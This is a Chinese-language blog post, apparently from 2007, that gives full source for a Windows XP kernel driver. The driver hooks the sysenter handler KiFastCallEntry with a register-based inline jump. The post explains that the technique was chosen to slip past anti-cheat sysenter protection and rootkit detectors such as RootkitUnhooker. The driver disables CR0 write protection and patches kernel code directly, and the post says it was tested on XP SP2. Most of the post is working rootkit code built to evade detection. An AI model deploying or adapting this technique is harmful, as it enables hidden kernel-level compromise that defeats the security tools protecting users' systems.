先廢話,當初是為了繞開NP對sysenter保護而想出來的,

後來發現連RootkitUnhooker都繞了.

  什麼是sysenter hook我也不囉唆了,

一般的攔截方法就是通過rdmsr wrmsr 兩個指令

把原來的sysenter地址改成自己的sysenter地址來實現的.

這種方法使用方便,但檢測也很容易.
     這裡介紹的另外一種方法不改變sysenter地址,

而是通過直接在原來sysenter地址裡面寫跳轉代碼來實現的,

這實際上跟一般的函數頭inline hook一樣.

這樣rootkit檢測工具就不會認為sysenter已經改變(實際上也是沒變).
     一般的rootkit檢測工具檢測函數inline hook

是通過檢測長跳轉指令0xE9的來判斷跳轉距離

是不是超出函數所在的模塊範圍來確定的.

但是實現跳轉我們也可以借助寄存器或變量(用變量跳轉需要涉及重定位問題

,麻煩.所以一般用寄存器),這樣跳轉指令就不是0xE9了而是0xFF,

這個絕大多數rootkit檢測工具是檢測不到的(包括著名的 RootkitUnhooker,VICE).

     由於我們已經改變了KiFastCall函數頭,

所以我們只能把原來的函數頭代碼放到另外一個地方執行

(動態分配內存,當然如果不考慮兼容性硬編碼也沒問題),

然後再跳轉回來.這裡使用了"三級跳",大概是這個樣子.
     sysenter->KiFastCall
              JMP -> MyKiFastCall(這裡進行攔截或什麼的)
                     JMP -> KiFastCall head code (這裡執行原來KiFastCall函數頭代碼)
                            JMP -> KiFastCall + N(已經執行指令長度)
///////////////////////////////////////////////////////////////////////////////////////////////////  
//墮落天才
//2007年4月14日
#include<ntddk.h>
#include "OpCodeSize.h"

ULONG uSysenter;            //sysenter地址
UCHAR uOrigSysenterHead[8];//保存原來的八個字節函數頭
PUCHAR pMovedSysenterCode; //把原來的KiFastCall函數頭保存在這裡
ULONG i;                    //記錄服務ID
__declspec(naked) void MyKiFastCallEntry(void)
{
   __asm

{
             pop   edi      //因為用到了edi來跳轉 這裡恢復
              mov   i, eax   //得到服務ID
   }
   __asm

{  
            pushad
            push fs
              push 0x30
             pop fs
   }
  
   DbgPrint("sysenter was hooked! Get service ID:%X",i); //證明自己存在

   __asm

{
              pop fs
              popad    
     jmp pMovedSysenterCode //第二跳,跳轉到原來的函數頭代碼
   }
  
}
//////////////////////////////////////////////////////
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{    
   __asm

{
     cli
     mov   eax,cr0
     and   eax,not 10000h
     mov   cr0,eax
   }

   memcpy((PVOID)uSysenter,uOrigSysenterHead,8);//把原來函數頭的八個字節恢復

   __asm

{
     mov   eax,cr0
     or    eax,10000h
     mov   cr0,eax
     sti
   }
   ExFreePool(pMovedSysenterCode); // 釋放分配的內存
   DbgPrint("Unload sysenterHook");
}
////////////////////////////////////////////////////////

VOID HookSysenter()
{
   UCHAR   cHookCode[8] = { 0x57,           //push edi        第一跳,從KiFastCall跳到MyKiFastCallEntry.並繞過rootkit檢測工具檢測
                           0xBF,0,0,0,0,   //mov   edi,0000
                           0xFF,0xE7};     //jmp   edi

   UCHAR   JmpCode[]={0xE9,0,0,0,0};        //jmp 0000 第三跳,從KiFastCall函數頭代碼跳轉到原來KiFastCall+N

   int     nCopyLen = 0;
   int     nPos = 0;

   __asm

   {
     mov ecx,0x176
     rdmsr
     mov uSysenter,eax   //得到KiFastCallEntry地址
   }
   DbgPrint("sysenter:0x%08X",uSysenter);
   nPos = uSysenter;

   while(nCopyLen<8)

   {

//我們要改寫的函數頭至少需要8字節 這裡計算實際需要COPY的代碼長度 因為我們不能把一條完整的指令打斷
     nCopyLen += GetOpCodeSize((PVOID)nPos);   //參考1
     nPos = uSysenter + nCopyLen;
   }
  
   DbgPrint("copy code lenght:%d",nCopyLen);

   pMovedSysenterCode = ExAllocatePool(NonPagedPool,20);

   memcpy(uOrigSysenterHead,(PVOID)uSysenter,8);//備份原來8字節代碼

   *((ULONG*)(JmpCode+1)) = (uSysenter + nCopyLen) - ((ULONG)pMovedSysenterCode + nCopyLen)- 5;//計算跳轉地址

   memcpy(pMovedSysenterCode,(PVOID)uSysenter,nCopyLen); //把原來的函數頭放到新分配的內存
   memcpy((PVOID)(pMovedSysenterCode + nCopyLen),JmpCode,5); //把跳轉代碼COPY上去

   *((ULONG*)(cHookCode+2)) = (ULONG)MyKiFastCallEntry; //HOOK地址
  
   DbgPrint("Saved sysenter code:0x%08X",pMovedSysenterCode);
   DbgPrint("MyKiFastCallEntry:0x%08X",MyKiFastCallEntry);

   __asm

  {
     cli
     mov   eax,cr0
     and   eax,not 10000h
     mov   cr0,eax
   }

   memcpy((PVOID)uSysenter,cHookCode,8);//把改寫原來函數頭

   __asm

{
     mov   eax,cr0
     or    eax,10000h
     mov   cr0,eax
     sti
   }

}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)
{

   DbgPrint("Welcome to sysenterhook.sys");
   DriverObject->DriverUnload = OnUnload;
   HookSysenter();
   return STATUS_SUCCESS;
}    
///////////////////////////////////////////////////////////////////////////////////////////////////
以上代碼在 XP SP2中文 + RootkitUnhooker下測試通過

同理 IDT hook也可以用這種方法實現,HOOK的實質是改變程序流程,無論在哪裡改變

arrow
arrow
    全站熱搜

    殘月影 發表在 痞客邦 留言(0) 人氣()